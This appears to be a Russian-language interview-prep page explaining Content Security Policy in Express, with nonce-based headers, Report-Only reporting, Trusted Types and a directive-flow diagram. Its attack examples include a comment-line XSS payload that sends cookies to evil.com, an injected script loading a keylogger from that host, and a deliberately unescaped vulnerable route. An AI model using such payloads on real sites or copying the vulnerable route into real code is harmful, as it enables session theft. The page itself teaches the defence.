Перейти к содержимому

CSP (Content Security Policy)

CSP — HTTP-заголовок с явным whitelist-ом разрешённых источников скриптов, стилей, фреймов и других ресурсов; правильно настроенный CSP блокирует большинство XSS-атак даже при наличии уязвимости в коде; вопрос встречается в security-фокусированных компаниях и требует знания директив, nonce и report механизма.

// ATTACK: Inline script injection при отсутствии CSP
// Сервер отдаёт страницу без заголовка Content-Security-Policy.
// Уязвимый роут (Reflected XSS):
app.get('/profile', (req, res) => {
const name = req.query.name;
// ?name=<script>fetch('//evil.com/steal?c='+btoa(document.cookie))</script>
res.send(`<html><body><h1>Hello, ${name}!</h1></body></html>`);
// Без CSP браузер выполнит <script> с полными правами страницы.
// Атака: кража cookies, session hijacking, перенаправление, UI-redressing.
});
// ATTACK: Загрузка внешнего скрипта через инъекцию
// Инъектировано: <script src="https://evil.com/keylogger.js"></script>
// Без CSP браузер загрузит и выполнит внешний скрипт.
// MITIGATION: строгий CSP с nonce (per-request случайное значение)
const crypto = require('crypto');
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
res.setHeader('Content-Security-Policy', [
"default-src 'self'",
`script-src 'self' 'nonce-${nonce}' 'strict-dynamic'`, // nonce + динамические скрипты
"style-src 'self' 'unsafe-inline'", // или nonce для строгого режима
"img-src 'self' data: https://cdn.example.com",
"connect-src 'self' https://api.example.com wss://api.example.com",
"font-src 'self' https://fonts.gstatic.com",
"frame-src 'none'", // запретить фреймы (clickjacking)
"frame-ancestors 'none'", // запретить вставку нас в iframe
"base-uri 'self'", // предотвращает base-tag injection
"form-action 'self'", // куда можно отправлять формы
"upgrade-insecure-requests", // HTTP → HTTPS автоматически
].join('; '));
next();
});
// В шаблоне: <script nonce="<%= cspNonce %>">/* inline JS */</script>
// Инъектированный <script> без nonce → заблокирован браузером
// CSP Report-Only + мониторинг нарушений
app.use((req, res, next) => {
const nonce = crypto.randomBytes(16).toString('base64');
res.locals.cspNonce = nonce;
// Report-Only: не блокирует, только отправляет отчёты — безопасно тестировать
res.setHeader('Content-Security-Policy-Report-Only', [
"default-src 'self'",
`script-src 'self' 'nonce-${nonce}'`,
"report-to csp-violations", // Reporting API (современный)
"report-uri /csp-report", // legacy fallback
].join('; '));
next();
});
app.post('/csp-report', express.json({ type: 'application/csp-report' }), (req, res) => {
const r = req.body['csp-report'];
logger.warn('CSP violation', {
directive: r['violated-directive'],
blocked: r['blocked-uri'],
source: r['source-file'],
line: r['line-number'],
});
res.sendStatus(204);
});
// Trusted Types: принудительная защита от DOM-инъекций на уровне API
// Content-Security-Policy: require-trusted-types-for 'script'
// → .innerHTML = string вызывает TypeError runtime — нужен TrustedHTML-объект
CSP Directive Flow

Browser fetches resource (script / img / font / frame / XHR / WS)
|
v
CSP header present on page?
|YES                    |NO -> allow (no policy)
|
v
Map resource type to directive:
<script>          -> script-src
<style>/<link>    -> style-src
<img>/CSS bg      -> img-src
fetch/XHR/WS      -> connect-src
<iframe>          -> frame-src
@font-face        -> font-src
(no match)        -> default-src (fallback)
|
v
Check source against directive values:
‘self’            -> same origin only
‘nonce-XYZ’       -> element attribute nonce=‘XYZ’
‘strict-dynamic’  -> trust scripts created by nonce-scripts
https://cdn.x.com -> explicit allowed origin
‘unsafe-inline’   -> any inline code   <- weakens CSP!
‘unsafe-eval’     -> eval/Function()   <- weakens CSP!
|
ALLOW          BLOCK
|              |
|          If report-to/report-uri -> send violation report
v              v
load resource   refuse + console error

Итог: CSP с nonce блокирует XSS-инъекции на уровне браузера даже при наличии уязвимости; начинайте с Report-Only режима для сбора нарушений перед включением enforcement.